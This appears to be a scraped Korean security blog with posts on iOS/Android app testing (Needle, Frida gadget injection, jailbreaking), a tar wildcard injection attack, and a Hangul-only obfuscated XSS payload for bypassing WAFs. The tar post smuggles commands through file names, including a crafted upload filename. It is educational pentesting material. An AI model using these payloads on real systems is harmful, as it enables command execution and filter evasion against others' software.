필수 패키지, python library 설치해줍니다. 리눅스의 경우 apt-get , macos는 brew로 해주시고 python 라이브러리는 모두 pip 지원이 되므로 pip 통해서 설치해줍시다.

One line script
git clone https://github.com/mwrlabs/needle
cd needle; mkdir 3rd 
if $1 = 'macos'
then
  sudo apt-get install python2.7 python2.7-dev sshpass sqlite3 lib32ncurses5-dev ; sudo pip install readline paramiko sshtunnel frida mitmproxy biplist
else
  brew install python; brew install libxml2; xcode-select —install; sudo -H pip install --upgrade --user readline; sudo -H pip install --upgrade --user paramiko; sudo -H pip install --upgrade --user sshtunnel; sudo -H pip install --upgrade --user frida; sudo -H pip install --upgrade --user biplist; brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb; wget https://github.com/mitmproxy/mitmproxy/releases/download/v0.17.1/mitmproxy-0.17.1-osx.tar.gz; tar -xvzf mitmproxy-0.17.1-osx.tar.gz; sudo cp mitmproxy-0.17.1-osx/mitm* /usr/local/bin/
fi
Linux
#> sudo apt-get install python2.7 python2.7-dev sshpass sqlite3 lib32ncurses5-dev
#> sudo pip install readline paramiko sshtunnel frida mitmproxy biplist sshtunnel paramiko

macOS
#> brew install python
#> brew install libxml2
#> xcode-select --install

#> sudo -H pip install --upgrade --user readline;
#> sudo -H pip install --upgrade --user paramiko;
#> sudo -H pip install --upgrade --user sshtunnel;
#> sudo -H pip install --upgrade --user frida;
#> sudo -H pip install --upgrade --user biplist

#> brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb

#> wget https://github.com/mitmproxy/mitmproxy/releases/download/v0.17.1/mitmproxy-0.17.1-osx.tar.gz
#> tar -xvzf mitmproxy-0.17.1-osx.tar.gz
#> sudo cp mitmproxy-0.17.1-osx/mitm* /usr/local/bin

설치가 완료되면 needle.py 실행해주시면 대화형 쉘로 바로 넘어가집니다.

root@de98522c1939:/needle/needle# python needle.py

             __   _ _______ _______ ______         _______
             | \  | |______ |______ |     \ |      |______
             |  \_| |______ |______ |_____/ |_____ |______

                   Needle v1.3.2 [mwr.to/needle]
  [MWR InfoSecurity (@MWRLabs) - Marco Lancini (@LanciniMarco)]

[needle] >
추가로 이후에 Frida쪽 기능 쓰려면 이런 에러가 발생할 수도 있는데요, 이는 Agent가 설치된 단말에 lipo 명령이 없어서 발생하는 문제입니다.
별도 패키지로 제공되는 명령은 아닌 것 같고, Cydia에서 "Darwin CC Tools" 설치로 해결이 가능합니다.

[!] sh: lipo: command not found
참고: https://github.com/mwrlabs/needle/issues/172

How to use?

보통의 보안/해킹 툴들과 비슷하게 전반적인 구조는 Metasploit과 동일합니다. 명령어도 거의 비슷하니 익숙하신 분이라면 적응에는 크게 문제없을 것 같네요.
모든 테스트의 시작인 help를 보면..

[needle][list_apps] > help

Commands (type [help|?] <topic>):
---------------------------------
add_issue     exit  issues  load  reload    search  shell_local  use
back          help  jobs    pull  resource  set     show
exec_command  info  kill    push  run       shell   unset
이런식으로 나타나는데요 대충 정리해보면

[ 기본 명령 ]
    show : 옵션이던 뭐던 볼떄..
    use : 모듈 사용
    (un)set : 인자값 설정(show options으로 본 이후 해당 값들)
    back : 모듈 상위로
    exit : 종료

[ 자체적인 이슈관리 ]
    issues : 이슈 리스트 보기
    add_issue : 이슈 등록

[ 나머지 ]
    push : 데이터 밀어넣기
    shell : 디바이스 쉘 연결
    등등... 거의 읽히는 대로의 의미와 Metasploit console의 명령 형태랑 비슷합니다. 특별한건 없어요
    (사실 쓰기 귀찮..)

모듈을 선택하지 않은 상태(현재?)에서 show options을 보면 global하게 적용된 설정을 볼 수 있습니다. 여기엔 needle agent의 ip / port 등이 있고 설정 후 다른 기능이나 모듈을 사용하면 해당 정보를 기반으로 기능을 수행하게 됩니다.

[needle] > show options

  Name                      Current Value         Required  Description
  ------------------------  -------------         --------  -----------
  AGENT_PORT                4444                  yes       Port on which the Needle Agent is listening
  APP                                             no        Bundle ID of the target application (e.g., com.example.app). Leave empty to launch wizard
  DEBUG                     False                 yes       Enable debugging output
  HIDE_SYSTEM_APPS          False                 yes       If set to True, only 3rd party apps will be shown
  IP                        192.168.0.6           yes       IP address of the testing device (set to localhost to use USB)
  OUTPUT_FOLDER             /root/.needle/output  yes       Full path of the output folder, where to store the output of the modules
  PASSWORD                  ********              yes       SSH Password of the testing device
  PORT                      22                    yes       Port of the SSH agent on the testing device (needs to be != 22 to use USB)
  PUB_KEY_AUTH              True                  yes       Use public key auth to authenticate to the device. Key must be present in the ssh-agent if a passphrase is used
  SAVE_HISTORY              True                  yes       Persists command history across sessions
  SKIP_OUTPUT_FOLDER_CHECK  False                 no        Skip the check that ensures the output folder does not already contain other files. It will automatically overwrite any file
  USERNAME                  root                  yes       SSH Username of the testing device
  VERBOSE                   True                  yes       Enable verbose output
하위 모듈로 가서도 동일하게 필수 인자값등을 확인하려면 show options 으로 보시고 set 명령으로 세팅, run 으로 실행하는 형태로 진행하시면 됩니다.
(몇번 써보면 어떤 방식인지 금방 감 오실거에요)

기본적인 쉘 접근부터 해보면.. 우선 Needle Agent에서 Listen을 활성화 해줍니다. (우측 상단에 포트있어요)
(대다수 기능은 Agent에서 활성화가 되어야 수행 가능하고 간혹 Connection 에러 발생하면 Agent에서 내렸다가 올려주시면 됩니다)

Server에서 IP랑 PORT 세팅하고 shell 명령 넣어주시면..
[needle] > shell
[*] Spawning a shell...
[*] Checking connection with device...
[V] Connection not present, creating a new instance
[V] [AGENT] Connecting to agent (192.268.0.6:4444)...
[+] [AGENT] Successfully connected to agent (192.268.0.6:4444)...
[V] [SSH] Connecting (192.268.0.6:22)...
[+] [SSH] Connected (192.268.0.6:22)
Warning: Permanently added '192.268.0.6' (RSA) to the list of known hosts.
Last login: Mon Dec  3 21:44:15 2018 from 192.268.0.4
vaha:~ root#
vaha:~ root#
디바이스에 바로 접근이 됩니다. (그냥 ssh로 접근한거)
이제 neelde의 강점인 module로 테스트를 진행해보죠.

Use modules

우선 사용할 모듈을 골라봅시다. show modules로 전체 모듈 리스트를 보거나 search로 필요한 기능을 찾아서 보시면 됩니다.

[needle] > show modules

  _Templates
  ----------
    _templates/template_background
    _templates/template_base
    _templates/template_frida
    _templates/template_frida_script
    _templates/template_static

  Binary
  ------
    binary/info/checksums
    binary/info/compilation_checks
    binary/info/metadata
    binary/info/provisioning_profile
    binary/info/universal_links
    binary/installation/install
    binary/installation/pull_ipa
    binary/reversing/class_dump
    binary/reversing/class_dump_frida_enum-all-methods
    binary/reversing/class_dump_frida_enum-classes
    binary/reversing/class_dump_frida_find-class-enum-methods
    binary/reversing/shared_libraries
    binary/reversing/strings

  Comms
  -----
    comms/certs/delete_ca
    comms/certs/export_ca
    comms/certs/import_ca
    comms/certs/install_ca_burp
    comms/certs/install_ca_mitm
    comms/certs/list_ca
    comms/certs/view_cert
    comms/proxy/pinning_bypass_frida
    comms/proxy/proxy_regular

  Device
  ------
    device/agent_client
    device/clean_storage
    device/dependency_installer
    device/hosts
    device/list_apps

  Dynamic
  -------
    dynamic/detection/jailbreak_detection
    dynamic/detection/script_jailbreak-detection-bypass
    dynamic/ipc/open_uri
    dynamic/memory/heap_dump
    dynamic/monitor/files
    dynamic/monitor/pasteboard
    dynamic/monitor/syslog
    dynamic/watch/syslog

  Hooking
  -------
    hooking/cycript/cycript_shell
    hooking/cycript/cycript_touchid
    hooking/frida/frida_launcher
    hooking/frida/frida_shell
    hooking/frida/frida_trace
    hooking/frida/script_anti-hooking-check
    hooking/frida/script_dump-ui
    hooking/frida/script_hook-all-methods-of-class
    hooking/frida/script_hook-method-of-class
    hooking/frida/script_touch-id-bypass
    hooking/theos/list_tweaks
    hooking/theos/theos_tweak

  Mdm
  ---
    mdm/effective_user_settings

  Static
  ------
    static/code_checks

  Storage
  -------
    storage/backup/icloud_content_frida
    storage/caching/keyboard_autocomplete
    storage/caching/screenshot
    storage/data/container
    storage/data/files_binarycookies
    storage/data/files_cachedb
    storage/data/files_plist
    storage/data/files_sql
    storage/data/keychain_dump
    storage/data/keychain_dump_frida
대상 디바이스에 있는 앱 리스트를 뽑아보죠.

[needle][class_dump_frida_enum-classes] > use device/list_apps
[+] Resource file successfully loaded
[needle][list_apps] > show options

  Name              Current Value  Required  Description
  ----------------  -------------  --------  -----------
  HIDE_SYSTEM_APPS  False          yes       If set to True, only 3rd party apps will be shown

[needle][list_apps] > run
[*] Checking connection with device...
[+] Already connected to: 192.268.0.6
[*] Looking for apps...
[+] Apps found:
        0 - com.apple.CTCarrierSpaceAuth
        1 - com.apple.MobileAddressBook
        2 - com.apple.CheckerBoard
        3 - com.appsolutegames.kubic
        4 - com.apple.carkit.DNDBuddy
        5 - com.apple.WebContentFilter.remoteUI.WebContentAnalysisUI
        
msfconsole 쓰는거랑 거의 비슷하기 떄문에 다른 기능들도 비슷하게 사용하시면 됩니다. needle에서 구현해놓은 frida나 cycript 스크립트로 어느정도 풀리는 앱들이 있겠지만, 아닌 경우도 많을겁니다.
떄에 따라 직접 코드를 넣어서 사용해야할 때가 많은데, 이 때 template 쪽 코드 수정해서 사용하시면 될 것 같습니다.

  _Templates
  ----------
    _templates/template_background
    _templates/template_base
    _templates/template_frida
    _templates/template_frida_script
    _templates/template_static

각 종류별로 스크립트 템플릿이 있고, 이를 기반으로 스크립트를 추가할 수 있습니다.

다른 사용법은 wiki 참조(https://github.com/mwrlabs/needle/wiki) 해주시며 좋을듯 합니다.
Share: | Coffee Me:

12/01/2018

Windcard(*) Attack on linux (와일드 카드를 이용한 공격)

조금 철 지난 기법이지만 관심이 적어 모르고 있던거라.. 글로 작성해둡니다.
wildcard는 굉장히 많은 영역에서 사용되는 문자이고 컴퓨팅, 프로그래밍에선 더더욱 많이 사용되는 문자들입니다.

리눅스 환경에선 정말 보편적으로 쓰이고 있고(명령어 처리, 인자값, 설정 등등..), 프로그래밍시에도 굉장히 많이 사용되는 부분입니다.

wildcard 인 *(asterisk)는 ~모든 을 의미하는 문자이고 한번에 많은 파일을 지정할 때 사용합니다.

#> mv * ~/test_dir

요런식으로 많이들 사용하는데, 재미있는 점은 * 로 읽어들인 데이터들이 그대로 command line에서 사용된다는 점입니다.
예를들어 디렉토리에 -al 이라는 파일이 있는 경우 ls * 로 읽어왔을 땐 -al이 옵션으로 인지해서 처리하게 되죠.

#> echo 'a' > '-al'
#> ls
-al

#> ls *
total 8
-rw-r--r--   1 hahwul  hahwul    2 Nov 30 21:51 -al
drwxr-xr-x   3 hahwul  hahwul   96 Nov 30 21:51 .
drwxr-xr-x  31 hahwul  hahwul  992 Nov 30 21:51 ..

물론 파이프 라인 같은 명령어는 먹지 않습니다.

#> echo ‘a’ > ‘| ps'
> ls
| ps


> ls *
| ps

(만약 이게 됬다면 wildcard 쓰는거 자체가 어마무시하게 위험한 행위가 되었을지도요..)

아무튼 우린 옵션 데이터 정도를 넘겨줄 수 있는데요, 이를 이용한 대표적인 사례가 tar(압축관리)에 대한 공격입니다. 

root@HAHWUL:/home/hahwul/HAHWUL/test/1# ll
total 28
drwxr-xr-x 2 root root  4096 Dec  1 20:36  ./
drwxr-xr-x 4 root root  4096 Dec  1 22:37  ../
-rw-r--r-- 1 root root 10240 Dec  1 22:37 '--checkpoint=1'
-rw-r--r-- 1 root root     1 Dec  1 20:36 '--checkpoint-action=exec=sh shell.sh'
-rwxrwxrwx 1 root root    11 Dec  1 20:36  shell.sh*

root@HAHWUL:/home/hahwul/HAHWUL/test/1# tar -cvf 123.tar *
shell.sh
run!!


tar 명령의 경우 -checkpoint-action 이라는 옵션이 있었고 이로 넘어온 인자값이 명령행으로 수행할 수 있었는데요, 이 옵션 내용을 파일로 만들고 대상 디렉토리에서 tar를 통해 압축(보통 *을 많이 쓰니..)을 하게 됬을 떄 --checkpoint 옵션이 활성화되고 결론적으론 공격자가 의도한 명령이 실행되게 됩니다.

단 설치된 tar 버전에 따라 약간 처리가 다른게 있긴 한듯 합니다. (macos에선 영향 없었네요. 리눅스만..)

Bad things.. Other vulnerable point?

웹/시스템 어플리케이션 중 로컬로 command 날리는 형태에는 어느정도 영향이 있을법하네요. tar 이외에도 command line으로 넘길 떄 *이 포함되는 경우들이 있는데, 옵션에 대해 제어할 수 있으니 꼭 코드 실행이 아니여도 의도하지 않은 동작을 수행시키거나 다른 취약점을 트리거하는 발판으로 삼을 수 있을듯 합니다.

분명 웹 어플리케이션과의 접점도 있을겁니다. 예를들어 사용자가 업로드한 파일을 보관하기 위해, 또는 로그등을 처리하기 위해 압축하는 경우들도 있을테고, 웹 서비스와 연계되는 외부 솔루션의 기능 처리를 위해서 command line으로 넘기는 경우들이 있는데 이런 구간에 공격을 해볼 여지가 충분히 있는거죠. 예를들면 A라는 업로드 페이지가 있고 여기서 주기적으로 사용자가 업로드한 파일들을 압축해서 보관한다고 칩시다.

POST /upload HTTP/1.1
Host: 127.0.0.1

--MultipartBoundry
Content-Disposition: form-data; name="image"; filename="--checkpoint-action-exec=ping 127.0.0.1 -c 5 -W .jpg"
Content-Type: image/jpeg

rawimage

이런 형태면 파일명을 --checkpoint, --checkpoint-action-exec 로 만들어서 업로드 후 해당 경로에서 tar 어플리케이션의 행위가 트리거 되었을 때 공격자가 의도한 명령이 수행될 수 있겠죠.

몇개 테스트해봤을땐 영향은 없었지만 | 같이 명령을 나눌 수 있는 부분에 대해서도 체크해볼 필요가 있을법합니다. 혹시라도 명령 분리가 가능하면 * 형태로 command line으로 넘기는 어플리케이션에서 RCE나 의도하지 않은 액션이 발생할 가능성 생길 것 같네요.
Share: | Coffee Me:

iOS 11.3(iPad mini2 ) Jailbraek with Electra(non-developer accouts)

11.3 버전에 대한 탈옥툴이 나온진 조금 되었느데요, 유독 제 아이패드 미니2에서 탈옥이 잘 안되었었는데, 오늘 오전에 성공하여 시도했던 내용들 같이 기록해둡니다.

Electra Jailbreak (iOS 11.2 – 11.3.1) 


공식 홈페이지 가서 ipa 파일 받아주시고 Cydia Impactor나 따로 서명하고 ifunbox로 설치해주시면 됩니다.

https://coolstar.org/electra/

시도헀던 방법들..

거의 구글링 했던 결과들인데요, 요약하면 이렇습니다.

- 비행기모드
- Siri 해제
- 12버전대 패치 제거(설정 > 일반 > 저장소 > 시스템 업데이트 항목쪽 삭제)
- 성공할때까지 반복..(loop..loop...eternal loop)

비행기랑 Siri의 경우는 많이들 권고하는 방법이고, 상위 버전 패치 제거는 간혹 remount 관련 에러날때 하면 된다고 합니다. (저도 한번 나긴했는데, 마지막 떄문에..)

그리고 구글링하다가 어디서 본건데.. 해당 익스플로잇이 항상 유효한게 아니라서 반복적으로 해보면 확률적으로 된다는 말을 듣고, 지난주부터 계쏙 돌렸던거 같네요.
(횟수로 보면 어마어마할겁니다. 아마..)

결국은 확률 뚫고 탈옥되었네요!! 이제 아이패드도 분석 환경 세팅을..


Share: | Coffee Me:

unix timestamp 2038 버그(Year 2038 problem)

최근에 timestamp 계산할거 있어서 구글링해서 웹 페이지 찾아서 사용했었는데요, 해당 웹 사이트에서 이런 내용이 있어 조금 찾아보았고, 재미있는 내용이라 가볍게 공유드립니다.

What happens on January 19, 2038?
On this date the Unix Time Stamp will cease to work due to a 32-bit overflow. Before this moment millions of applications will need to either adopt a new convention for time stamps or be migrated to 64-bit systems which will buy the time stamp a "bit" more time.

혹시나해서 검색해봤는데, 진짜 있는 내용이더군요..



내용인 즉슨 unix에서 사용하는 timestamp 값은 부호 포함 32비트 정수 값인데 해당 값으로 표현할 수 있는 최대 날짜의 데이터가 2038년 1월 19일(03:14:07 UTC)까지라고 하네요.
그때까지 unix timestamp를 쓸지는 모르겠지만, 혹여나 사용하고 있는 디바이스가 있다면 time 값 관련해서 문제가 될 수도 있겠네요.
Share: | Coffee Me:

11/24/2018

Ubuntu Linux에서 Spectable(macOS App) 같은 창 제어 사용하기(Spectable for linux?)

macOS에서 쓸만하다고 느꼈던 App 중 하난 Spectable 입니다. 단축키로 화면 내 창의 위치를 전체화면이나 좌/우/상/하 로 반듯하게 반으로 나누어 정리가 가능합니다.
(이젠 이게 없으면 모니터 정리가 안될듯 싶어요.)

그래서 비슷한 프로그램이 리눅스에도 있을까 쭉 뒤져봤는데, 의외의 곳에서 답을 찾았습니다. Ubuntu 기본 키보드 옵션에 제공해주고 있었네요..
언제부터인진 모르겠으나 추가된 것으로 보입니다(예전엔 분명히 못봤는데 ..ㅜㅜ)

아무쪼록, 키보드 단축키 설정 들어가셔서 지정해주시면 됩니다.

설정 경로

최신버전 
Setting > Device > Keyboard

구버전
Setting > Keyabord > Shortcut

최신 버전 기준으론 Windows 라는 subtitle으로 관련 단축키들이 모아져있습니다. 


- Maximize window : Alt + Super(윈도우 키) + f   (최대 크기 창으로 맞추기)
- View split on left : Alt + Super(윈도우 키) + 방향키 왼쪽
- View split on right : Alt + Super(윈도우 키) + 방향키 오른쪽


여기서 창 제어 부분만 단축키 추가해주시면 얼추 Spectable 같이 사용하실 수 있습니다 :)
Share: | Coffee Me:

iOS에서 Proxy 사용 중 Burp/ZAProxy CA 넣어도 신뢰할 수 없는 사이트 발생 시 해결방법

iOS에서 Burp/ZAProxy CA 인증서 등록하여도 프록시 설정 시 보안 경고가 나는 경우가 있습니다. 물론 매번 예외처리 하면서 할 순 있지만 모바일 앱에선 불가능하기 때문에 통신이 잡히지 않습니다.

무슨 문제인가 하다가 주변에서 힌트를 받아 디바이스 뒤져보다가 메뉴 하나 찾았습니다. (이런거에서 헤맸을줄이야 ㅜㅜ)

"설정 > 일반 > 정보 > 인증서 신뢰 설정(맨 아래)" 에서 빠져있는 인증서 On 해주면 됩니다.


Share: | Coffee Me:

11/21/2018

WAF Bypass XSS Payload Only Hangul(한글만 이용해서 XSS 페이로드 만들기)

어제 뒤적뒤적 웹 서핑하다가 가타카나로 된 공격코드https://github.com/aemkei/katakana.js)를 보고 한글로도 한번 만들어봐야지 싶어 퇴근길에 끄쩍끄쩍했네요..
(폰으로 테스트하는건 진짜...하)


([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()



위 이미지 처럼 콘솔에 넣고 실행하거나 HTML 코드로 보면 잘 실행됩니다 :)

<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
</script>
</html>


How to make?

결국은 JSFuck에서 파생된 코드입니다. 아래 코드 보면 interger같이 여러 타입들에서 Array 형태로 호출하면 2.abcd.asdf 하는 식으로 내려갈 수 있습니다. 결국 저런식으로 DOM 객체를 내려갈 수 있다는건데, 이를 통해서 내부 consturctor(생성자)로 특정 함수를 실행할 수 있게됩니다.

(a=1, b=2)["constructor"]["alert"]()
TypeError: 2.constructor.alert is not a function

결국은 각각 한글이 코드를 담고 있는 변수가 되면서

([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
윗줄은 각각 에러 데이터를 이용해서 문자열을 저장하기 위한 방법들

[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
   constructor               constructor    alert(45)

최종적으론 constructor.constructor('alert(45)')() 형태의 코드로 실행됩니다.

훌 : constructor

jsfuck 쪽 내용 참고해주시면 조금이나마 도움됩니다 :)
https://www.hahwul.com/2018/09/jsfuck-xss-payload.html
https://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html  => constructor 관련
Share: | Coffee Me:

ZAProxy에서 Custom Header 추가하기(ZAProxy script)

ZAProxy에서 replacer를 이용해 Request/Response 내용 중 일부를 자동으로 변경할 수 있습니다. 그치만 아예 없던 내용을 추가하는 기능은 없는데요.
script로 넣어두고 쓰면 편리하니 공유드립니다. (이건 뭐 짧아서...)

customHeader.js
// This script crafted by hahwul

function proxyRequest(msg) {
    var custom_header
    custom_header = 'this is custom header values!'
    msg.getRequestHeader().setHeader('Custom Header', custom_header)
    return true
}

function proxyResponse(msg) {
    // Leave the response alone
    return true
}


Request
GET / HTTP/1.1
Host www.hahwul.com
Custom Header: this is custom header values!
....

대충 설명하자면 Proxy 쪽 스크립트는 proxyRequest(), proxyResponse() 두가지 function으로 나누어져 요청을 처리할 수 있습니다.

- proxyRequest : 요청 내용 제어
- proxyResponse : 응답 내용 제어

그래서 각각 부분에 처리 로직을 넣어주시면 Requset/Response에 대해 제어할 수 있습니다 :)
Share: | Coffee Me:

11/19/2018

Frida on Not Jailbreak, Not rooting Devices(비루팅/비탈옥 단말에서 프리다 사용하기)

앱 취약점 분석 시 엄청나게 활용도 높은 프리다. 예전부터 약간 Jailbreak, rooting 단말에서만 동작한다는 편견이 있었는데요.

재미있는 트릭을 이용하면 비루팅/비탈옥 단말에서도 프리다 사용이 가능합니다. 프리다 공식 홈에도 있는 내용이니 참고하시길 바랍니다 :)

How?

Frida 공식 홈에선 Frida gadget 이란 이름으로 소개되고 있습니다. 그 말인 즉슨 분석할 앱에 Frida의 Dynamic library를 넣어 실행하게 하여 마치 frida-server가 떠있는 것과 동일한 효과를 만들 수 있습니다.
일반적인 frida 사용과 동일하게 대상 어플리케이션에 대해 attach 하고 hooking 할 수 있습니다.

정리하면 이렇습니다.

- 비탈옥/비루팅 단말에선 권한에 제약이 있기 떄문에 frida-server를 띄울 수 없음
- 단 앱을 통해 frida-server 처럼 구현할 순 있지만 앱 간 권한으로 간섭이 불가능하기 떄문에 실질직인 분석은 불가능함
- 그래서 분석할 앱에 프리다 코드를 넣고 동작시키게 하여 프리다가 해당 앱을 attach 할 수 있도록 함 

Step by step(Android/iOS)

우리가 해야할일은 프리다 라이브러리를 앱에 집어넣고 실행해야 합니다. 우선 프리다 라이브러리를 다운로드 받습니다.

1. Download frida library
릴리즈 버전, iOS / Android 유무에 따라 링크는 바뀔 수 있습니다. 아래 깃에서 뒤적뒤적해서 맞는 버전으로 다운로드 하시면 됩니다.

#> wget https://github.com/frida/frida/releases/download/9.1.26/frida-gadget-9.1.26-android-arm.so.xz
#> unxz frida-gadget-9.1.26-android-arm.so.xz

압축을 받고 풀어주면 .so(ios는 .dylib) 파일 하나가 남습니다. 이제 라이브러리 파일을 앱에 넣어야하기 떄문에 앱을 풀어줍니다. 

2. Extract Application(Apk,Ipa)
[ Android ]
#> apktool d base.apk
I: Using Apktool 2.3.1 on base.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources…
….
I: Baksmaling classes7.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

[ iOS ]
#> unzip test.ipa

3. Inject Dynamic Library and Byte code

그다음 라이브러리 파일을 넣어줍니다. Android의 경우는 보통 lib 하위, iOS는 바이너리에 직접 주입합니다. (frida 홈에선 따로 앱을 만드는 방식을 추천하네요. 참고)
그리고 삽입한 라이브러리를 코드단에서 로드할 수 있도록 smail 코드단을 수정해서 라이브러리를 로드해줍니다.

[ Android ]
#> cp frida-gadget-9.1.26-android-arm.so base/lib/armeabi/libfrida.so

#> vim splash.smail
....
const-string v1, "frida”
invoke-static {v1}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

// byte 코드 풀어서 보면 결국 loadLibrary("frida") 이며 앱 라이브러리 디렉토리에서 frida라는 이름의 라이브러리를 읽습니다.
// 그래서 아까 넣은 libfrida.so가 로드됩니다. 
....

[ iOS ]
여긴 그냥 툴 쓰시는게 편할듯합니다. 저는 탈옥 기기로 하는지라, 트러블슈팅까진 어려울듯하네요 ㅜㅜ
#> insert_dylib frida.dylib test
(https://github.com/Tyilo/insert_dylib)

아주 먼지같은 팁이지만, loadLibray 시 앱이 죽는 경우도 있을 수 있어(앱이 크면 더더욱) 삽입 구간을 잘 골라야합니다.
보통은 바로 트리거될 수 있게 splash, main의 oncreate 등에도 많이 넣고 다른 라이브러리 불러오는 구간에서 같이 로드시키면 에러나 비정상 동작할 가능성이 줄어듭니다.
그래서 코드단에서 grep 으로 포인트 찾아보고 주입하는게 좋습니다.

#> grep * -R “loadLibrary"

4. Repackaging App
다시 앱을 묶어 주고 서명합니다. 그럼 일단 본인의 키 파일으로 frida 코드가 주입된 앱은 만들 수 있습니다. 

[ Android ]
#> apktool b -o 123.apk base/
#> jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore custom.keystore -storepass test1234 123.apk hwul

[ iOS ]
#> codesign -f -s E18BA16DF86318F0ECA4BE17C03… test/test.app/test
#> zip test.zip ./test/ -R
#> mv test.zip inject.ipa


이제 frida-ps로 보면..

#> frida-ps -U
Waiting for USB device to appear...
  PID  Name
-----  ------
2025  Gadget

이런식으로 Gadget 이란 이름으로 잡힙니다.

번외 - iOS

공식 홈 내용 일부입니다. frida 깃에서 FridaGadget 떙긴 후 XCode를 이용해 삽입하는 방법입니다.
링크 읽어보시길..

https://www.frida.re/docs/ios/#without-jailbreak

$ mkdir Frameworks
$ cd Frameworks
$ frida_version=x.y.z
$ curl https://github.com/frida/frida/releases/download\
/$frida_version/frida-gadget-$frida_version-ios-univers\
al.dylib.xz | xz -d > FridaGadget.dylib
$ security find-identity -p codesigning -v
  1) A30E15162B3EB979D2572783BF3… "Developer ID Application: …"
  2) E18BA16DF86318F0ECA4BE17C03… "iPhone Developer: …"
     2 valid identities found
$ codesign -f -s E18BA16DF86318F0ECA4BE17C03… FridaGadget.dylib
FridaGadget.dylib: replacing existing signature
Share: | Coffee Me:

11/16/2018

iOS MinimumOSVersion 우회 삽질기(Test case for bypass ios min sdk version)

최근에 iOS 앱 중 최소 설치버전 제한 떄문에 약간 삽질했던 내용 아까워서 기록합니다.
결론부터 말씀드리면 해당 앱 기준으론 성공하지 못했습니다...

https://vignette.wikia.nocookie.net/disney/images/2/25/Vader-nooooo.jpg


iOS도 Android 처럼 minSdkVersion을 가지고 있으며 Info.plist에 MinimumOSVersion로 지정해서 사용하게 되어있습니다.

우선 찾아보니 2가지 정도로 MinimumOSVersion 우회를 넘어갈 수 있는 방법들이 있더군요.
(잠깐 찾아보고 테스트 해봤던거라 가능한건데 해결 못한걸수도 있습니다)

우선은 iOS 디바이스 내 SystemVersion 파일을 수정하는 방법입니다. /System/Library/CoreServices 경로에 SystemVersion.plist 파일이 있고 이 파일에는 버전에 대한 정보가 기입되어 있습니다.

iosios:/System/Library/CoreServices root# cat SystemVersion.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>ProductBuildVersion</key>
    <string>14G60</string>
    <key>ProductCopyright</key>
    <string>1983-2016 Apple Inc.</string>
    <key>ProductName</key>
    <string>iPhone OS</string>
    <key>ProductVersion</key>
    <string>10.3.3</string>
</dict>
</plist>

여기서 ProductionVersion의 값을 바꿔주면 된다곤 하는데, 혹시몰라 ProductBuildVersion 도 바꿔주었습니다.
ProductionBuildVersion은 아래 iOS History 문서보면 버전별로 빌드 네임이 있습니다. 그 부분입니다.

(https://en.wikipedia.org/wiki/IOS_version_history)

    <key>ProductBuildVersion</key>
    <string>13F69</string>
    <key>ProductVersion</key>
    <string>9.3.2</string>

그리고.. 2번째는 앱 내부에 Info.plist에서 직접 바꿔주는겁니다. 사실 소스코드가 있다면 Xcode에서 바꿔주면 확실하지만 압축 해제 후 Info.plist에서 버전정보 수정 후 재 서명 후 넣어주면 어느정도 가능하다고 봅니다.
(이런 형태의 방법은 안드로이드에서도 많이 사용하죠)

#> unzip test.ipa
#> cd test/test.app/

app directory까지 진입하면 앱의 정보를 가지고 있는 Info.plist 파일이 있습니다(분석떄도 이 파일 많이 참조하죠..iOS의 Manifest라고 생각하심될듯)
잘 찾다보면 MinimumOSVersion key와 value값이 확인됩니다. 원하는 버전으로 바꿔줍시다

#> vim Info.plist
    <key>MinimumOSVersion</key>
    <string>10.0</string>

그리고 다시 압축해서 ipa 파일로 만들어주면 우선 앱 파일은 다시 만들어진 상태입니다.

#> zip -r hwul.zip ./*
#> mv hwul.zip hwul.ipa

여기서 개별 앱에 대한 무결성 검증차 서명이 필요한데, 개인의 Xcode 인증서나 Cydia Impactor로 서명해서 설치해주시면 됩니다.
Cydia Impactor로 넣어주면 인증서 문제도 해결됩니당 (Cydia Impactor는 사용자의 iTunes 계정으로 서명하기 떄문에 서명 우회를 할 필요가 없음)

보통은 이런 방법들로 재서명하니 참고하시길..
https://www.ketzler.de/2011/01/resign-an-iphone-app-insert-new-bundle-id-and-send-to-xcode-organizer-for-upload/

제 환경이 문제인지 앱이 문제인지 이런 방법들이 잘못된건지 정확하겐 모르겠지만, 비슷한 문제를 해결하는데 있어 조금이라도 도움되셨길 바랍니다 :)

Share: | Coffee Me:

11/13/2018

Phar(PHP Archive)에서의 PHP Deserialization 취약점(BlackHat 2018)

시간날때 천천히 못본 blackhat 자료 보고있는데, 눈길을 끄는게 하나 있어 정리해서 글로 작성해봅니다.
(https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)

오늘 이야기드릴 내용은 Phar의 Deserialze 취약점입니다. 어떤게 문제이고 어떻게 테스트하고 어떻게 막아야할지?(이건 내용이 없..) 알아봅시다.

What is Phar?

Phar는 PHP Archive로 phar 파일에 어플리케이션 로직(단일 코드라고 하기엔 좀 애매하네요..)을 저장할 수 있는 php의 확장입니다.
PHP 코드에서 사용할 때에는 Stream Wrapper 통해 기능을 구현하며 include로 phar 파일을 읽어와서 사용합니다.

